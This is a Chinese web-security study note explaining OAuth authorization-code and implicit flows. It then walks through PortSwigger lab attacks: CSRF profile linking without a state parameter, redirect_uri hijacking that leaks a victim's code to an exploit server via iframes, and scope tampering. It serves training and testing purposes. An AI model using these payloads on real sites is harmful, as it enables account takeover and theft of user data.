OAuth概念
OAuth：一种常用的授权框架，它允许网站和Web应用程序请求对另一个应用程序上的用户帐户的有限访问权限，像那种允许使用第三方绑定账号（QQ、微信等）登录的网站，可能就是使用的OAuth框架。
一般在中大型网站使用
类型
授权类型分类
授权码模式，隐式授权类型等
授权码模式
(1)授权请求
客户端向授权服务器发送授权请求，如下：
GET /authorize?client_id=123
&redirect_uri=http://client-app.com/test
&response_type=code
&scope=profile
&state=abcd1234 HTTP/1.1
Host: authorization-server.com
client_id：客户端在授权服务器的ID（公开）。
redirect_uri：授权完成后，授权服务器回调客户端的地址。
response_type：声明授权类型，code是授权码授权。
scope：告诉授权服务器，客户端要访问哪些用户数据，profile是仅请求用户的基本信息（如用户名、头像）。
state：随机字符串，防止CSRF。
(2)用户登录与授权
用户登录后，会跳到授权页面，显示客户端需要请求哪些信息，并提示是否允许授权
(3)返回授权码
允许授权后，授权服务器会生成一个授权码（短期有效），通过重定向将授权码返回给客户端，重定向地址就是第一步请求时指定的回调地址
GET /callback?code=123456&state=abcd1234 HTTP/1.1
Host: client-app.com
code：授权码
(4)令牌交换
客户端后端向授权服务器发送请求，用授权码换取访问令牌
POST /token HTTP/1.1
Host: authorization-server.com
Content-Type: application/x-www-form-urlencoded
code=123456
&client_id=123
&client_secret=secret_key
&redirect_uri=http://client-app.com/test
&grant_type=authorization_code
client_secret：客户端密钥，用来验证客户端身份
grant_type：指定授权类型，此处固定为 authorization_code，表示使用授权码流程
授权服务器验证客户端身份，通过后返回访问令牌
{
"access_token": "123456789",
"token_type": "Bearer",
"expires_in": 3600
}
access_token：访问令牌
token_type：令牌类型，告诉客户端如何携带令牌访问资源服务器，Bearer是持有者令牌
expires_in：令牌有效期，以秒为单位
(5)访问资源
客户端携带访问令牌向资源服务器发起请求，获取用户数据
GET /userinfo HTTP/1.1
Host: resource-server.com
Authorization: Bearer 123456789
(6)返回数据
资源服务器验证令牌后，返回用户数据
{
"username": "hack",
"email": "hack@example.com"
}
隐式授权类型
隐式授权不用先获取授权码，再换取访问令牌，而是用户允许授权后，直接获取访问令牌，但是安全性要比授权码授权要低。
(1)授权请求：
客户端向授权服务器发起授权请求。
GET /authorize?client_id=123
&redirect_uri=https://client-app.com/test
&response_type=token
&scope=profile
&state=abcd1234 HTTP/1.1
Host: authorization-server.com
和授权码授权的区别在于，response_type=token，声明授权类型为隐式授权。
(2)用户登录与授权：
用户登录后，询问用户是否允许授权。
(3)返回访问令牌：
允许授权后，重定向到回调地址，并通过URL片段返回访问令牌。
HTTP/1.1 302 Found
Location: https://client-app.com/test#access_token=123456789&token_type=Bearer&expires_in=3600&state=abcd1234
URL片段（#后的内容）不会发送到客户端的后端，而是在前端直接处理。
(4)前端访问资源：
客户端将访问令牌发送到资源服务器，用来请求用户数据。
GET /userinfo HTTP/1.1
Host: resource-server.com
Authorization: Bearer 123456789
(5)返回用户数据：
资源服务器验证令牌后，返回用户数据。
{
"username": "hack",
"email": "hack@example.com"
}
差异
授权码模式授权码模式多了一个授权码的出现，授权码模式用的更多，更安全一点
###参考
https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A
https://mp.weixin.qq.com/s/ATjdIxSOruY-_lCCs2kcGg
##安全
参考：blog.csdn.net/weixin_39190897/article/details/139885599
OAuth隐式认证绕过（少）
###注册资源SSRF被利用（少）
###存在CSRF缺陷用户被绑定 无state
CSRF（授权码OAuth 无state校验）- 被动漏洞（至少是低危）
靶场：https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
原理
此漏洞的核心在于 OAuth 流程中的 CSRF 攻击。在 OAuth 流程中，客户端未使用 state 参数来验证请求的来源是否合法，导致攻击者可以通过 CSRF 攻击伪造请求，将其社交媒体配置文件链接到管理员账户。当管理员访问攻击者构造的恶意 iframe 时，其浏览器会自动向受害者的会话中发起 GET 请求，使用 OAuth 授权码完成流程。由于管理员的会话是活跃的，OAuth 授权操作就会将攻击者的社交媒体账户绑定到管理员账户上，从而让攻击者可以通过“使用社交媒体登录”功能以管理员身份登录。
靶场逻辑
有一个网站blog账号和类似第三方（qq、微信）的网站和账号，并且提供了一台可访问的服务器
完成以上绑定操作后，退出登录，使用第三方登录，并且burp抓取数据包
利用条件
存在csrf，授权码OAuth 无state校验，并且受害者要主动访问
- 攻击者：自己服务器搭建一个页面，获取code值
- 受害者：访问攻击者的页面，泄露code值
具体操作流程：
全程抓包
授权请求：
返回授权码：
管理员访问则将管理员账号绑定到第三方用户
使用提供的服务器写入
<iframe src="https://0a4d00360333d6d5809f037c002a003a.web-security-academy.net/oauth-linking?code=K9cstJmtD178jP1pq3TDjekwVx27hBczJH1A-Zxyb0m"></iframe>
实战中需要受害者访问这个网站
###CSRF缺陷redirect_uri劫持code帐户
靶场：https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
原理
在授权码模式中，OAuth 服务端收到redirect_uri后如果未对其进行安全校验，攻击者可将redirect_uri改为自己的站点后构造 CSRF 攻击链接并发送给受害者访问，导致返回的auth_code发送到了攻击者的站点，使其获取到了受害者 auth_code
靶场逻辑
有一个第三方账号、一台服务器，使用第三方账号登录
OAuth 授权登录
返回授权码
根据这个逻辑，可以修改重定向地址到攻击者服务器地址，将code值发送到攻击者服务器上，服务器做一个接收
具体操作流程
第三方授权登陆，抓到授权请求
构造链接
将链接写入攻击服务器
然后管理员去访问就会发送code
<iframe src="https://oauth-0a4e005b03da657a84b8256a0279002b.oauth-server.net/auth?client_id=gyo5ozld6gb7p7vf23c7x&redirect_uri=https://exploit-0a0b0082034c65bf84c926f901a40056.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
然后丢弃原来的授权请求数据包
然后模拟管理员访问
查看服务器日志
让管理员去访问授权服务器和修改的返回地址，将授权后的code发送到返回地址上（攻击者部署）
得到code值直接访问
scope篡改升级范围信息获取
scope=openid%20profile%20email
scope=openid%20profile%20email%20phone
加上一个phone看能不能把相关数据也带出来，泄露其他数据
##复盘：
https://mp.weixin.qq.com/s/TSsQ_mWGsFYZiF_RBdfbKg
https://mp.weixin.qq.com/s/NuNkzax8nb72qb-S1RvTnQ
https://mp.weixin.qq.com/s/QuhNuVyb2uy2T-br-mxAJw
https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A
测试思路
如何测试 OAuth 换绑实现账户接管漏洞
- 分别在两个浏览器上注册两个账号，分别为账号 A 和账号 B
- 在账号A上走完一遍绑定第三方平台的流程，抓住最后绑定的那个数据包，Send to Repeater然后Drop掉
- 在登陆了账号B的浏览器上，直接去访问账号A先前绑定的URL，观察B是否新绑定了第三方平台，如果是，则存在该漏洞，否则就不存在
本节知识点
WEB攻防-OAuth认证-授权逻辑&授权分类&参数解释
WEB攻防-OAuth认证-无State&重定向接管&篡改Scope